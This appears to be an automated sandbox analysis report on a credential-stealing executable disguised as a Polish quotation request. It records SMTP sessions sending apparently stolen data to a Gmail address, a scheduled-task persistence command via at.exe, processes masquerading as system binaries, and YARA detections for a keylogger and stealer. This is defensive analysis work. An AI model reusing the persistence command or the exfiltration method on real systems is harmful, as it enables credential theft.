2024-10-29 12:08:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	60515	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:43 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120843Z-r197bdfb6b4d9xksru4x6qbqr000000006h0000000006eee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	60514	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:43 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09556753-901e-0064-11fd-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120843Z-r197bdfb6b4grkz4xgvkar0zcs00000005zg00000000byts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	60516	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:44 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:44 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 30963bf2-701e-0001-2a98-28b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120844Z-15b8d89586fpccrmgpemqdqe5800000001fg000000000z26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:44 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	60517	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:44 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:44 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120844Z-17c5cb586f6b6kj91vqtm6kxaw0000000550000000007ht2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:44 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	60518	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:44 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:44 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120844Z-16849878b78z2wx67pvzz63kdg0000000530000000009xfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:44 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	60519	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:44 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:44 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120844Z-r197bdfb6b4jlq9hppzrdwabps00000001q000000000540u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:44 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	60520	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:44 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:44 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120844Z-16849878b78p49s6zkwt11bbkn000000066g00000000692c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:44 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 29, 2024 13:08:27.794992924 CET	587	49778	212.44.112.138	192.168.2.5	220-rcp-43.controlpanel.si ESMTP Exim 4.96.2 #2 Tue, 29 Oct 2024 13:08:27 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 29, 2024 13:08:27.797887087 CET	49778	587	192.168.2.5	212.44.112.138	EHLO 849224
Oct 29, 2024 13:08:28.059811115 CET	587	49778	212.44.112.138	192.168.2.5	250-rcp-43.controlpanel.si Hello 849224 [173.254.250.72] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 29, 2024 13:08:28.064295053 CET	49778	587	192.168.2.5	212.44.112.138	AUTH login c3BsZXRuYXN0cmFuQHRsYWtvdmVjLnNp
Oct 29, 2024 13:08:28.326539040 CET	587	49778	212.44.112.138	192.168.2.5	334 UGFzc3dvcmQ6
Oct 29, 2024 13:08:28.634689093 CET	587	49778	212.44.112.138	192.168.2.5	235 Authentication succeeded
Oct 29, 2024 13:08:28.641820908 CET	49778	587	192.168.2.5	212.44.112.138	MAIL FROM:<spletnastran@tlakovec.si>
Oct 29, 2024 13:08:28.903866053 CET	587	49778	212.44.112.138	192.168.2.5	250 OK
Oct 29, 2024 13:08:28.904258013 CET	49778	587	192.168.2.5	212.44.112.138	RCPT TO:<straitjohn249@gmail.com>
Oct 29, 2024 13:08:29.178232908 CET	587	49778	212.44.112.138	192.168.2.5	250 Accepted
Oct 29, 2024 13:08:29.184178114 CET	49778	587	192.168.2.5	212.44.112.138	DATA
Oct 29, 2024 13:08:29.446548939 CET	587	49778	212.44.112.138	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 29, 2024 13:08:29.447700024 CET	49778	587	192.168.2.5	212.44.112.138	.
Oct 29, 2024 13:08:29.845129013 CET	587	49778	212.44.112.138	192.168.2.5	250 OK id=1t5l1R-0006Np-0z
Oct 29, 2024 13:08:31.530436039 CET	49778	587	192.168.2.5	212.44.112.138	QUIT
Oct 29, 2024 13:08:31.994628906 CET	587	49778	212.44.112.138	192.168.2.5	221 rcp-43.controlpanel.si closing connection
Oct 29, 2024 13:08:33.213809967 CET	587	49809	212.44.112.138	192.168.2.5	220-rcp-43.controlpanel.si ESMTP Exim 4.96.2 #2 Tue, 29 Oct 2024 13:08:33 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 29, 2024 13:08:33.214015007 CET	49809	587	192.168.2.5	212.44.112.138	EHLO 849224
Oct 29, 2024 13:08:33.475265980 CET	587	49809	212.44.112.138	192.168.2.5	250-rcp-43.controlpanel.si Hello 849224 [173.254.250.72] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 29, 2024 13:08:33.475455046 CET	49809	587	192.168.2.5	212.44.112.138	AUTH login c3BsZXRuYXN0cmFuQHRsYWtvdmVjLnNp
Oct 29, 2024 13:08:33.736763954 CET	587	49809	212.44.112.138	192.168.2.5	334 UGFzc3dvcmQ6
Oct 29, 2024 13:08:34.013556957 CET	587	49809	212.44.112.138	192.168.2.5	235 Authentication succeeded
Oct 29, 2024 13:08:34.018076897 CET	49809	587	192.168.2.5	212.44.112.138	MAIL FROM:<spletnastran@tlakovec.si>
Oct 29, 2024 13:08:34.280016899 CET	587	49809	212.44.112.138	192.168.2.5	250 OK
Oct 29, 2024 13:08:34.298614979 CET	49809	587	192.168.2.5	212.44.112.138	RCPT TO:<straitjohn249@gmail.com>
Oct 29, 2024 13:08:34.569698095 CET	587	49809	212.44.112.138	192.168.2.5	250 Accepted
Oct 29, 2024 13:08:34.569863081 CET	49809	587	192.168.2.5	212.44.112.138	DATA
Oct 29, 2024 13:08:35.049130917 CET	587	49809	212.44.112.138	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 29, 2024 13:08:35.049506903 CET	49809	587	192.168.2.5	212.44.112.138	.
Oct 29, 2024 13:08:35.051209927 CET	587	49809	212.44.112.138	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 29, 2024 13:08:35.329209089 CET	587	49809	212.44.112.138	192.168.2.5	250 OK id=1t5l1W-0006Op-2E
Oct 29, 2024 13:10:11.552841902 CET	49809	587	192.168.2.5	212.44.112.138	QUIT
Oct 29, 2024 13:10:12.018412113 CET	587	49809	212.44.112.138	192.168.2.5	221 rcp-43.controlpanel.si closing connection

Target ID:	0
Start time:	08:07:55
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe"
Imagebase:	0x400000
File size:	1'524'650 bytes
MD5 hash:	E9698D7F3A85335C8610CDE2FECC54E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:07:55
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "
Imagebase:	0x400000
File size:	1'243'595 bytes
MD5 hash:	6A6157CD22CD9558F8579C30632E62C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:07:55
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\icsys.icn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\icsys.icn.exe
Imagebase:	0x400000
File size:	281'030 bytes
MD5 hash:	30957BE4D1D5957A9D6433367CEF30EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:07:55
Start date:	29/10/2024
Path:	C:\Windows\System\explorer.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\explorer.exe
Imagebase:	0x400000
File size:	280'955 bytes
MD5 hash:	40D6074239B5794D42186340C0FB7B60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:07:56
Start date:	29/10/2024
Path:	C:\Windows\System\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\spoolsv.exe SE
Imagebase:	0x400000
File size:	281'100 bytes
MD5 hash:	654CCF32F8E2748995C732C707A09AC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:07:56
Start date:	29/10/2024
Path:	C:\Windows\System\svchost.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\svchost.exe
Imagebase:	0x400000
File size:	281'051 bytes
MD5 hash:	EA31FB96DC9A76CAEFA570341CD194E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:07:56
Start date:	29/10/2024
Path:	C:\Windows\System\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\spoolsv.exe PR
Imagebase:	0x400000
File size:	281'100 bytes
MD5 hash:	654CCF32F8E2748995C732C707A09AC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:07:56
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:07:56
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
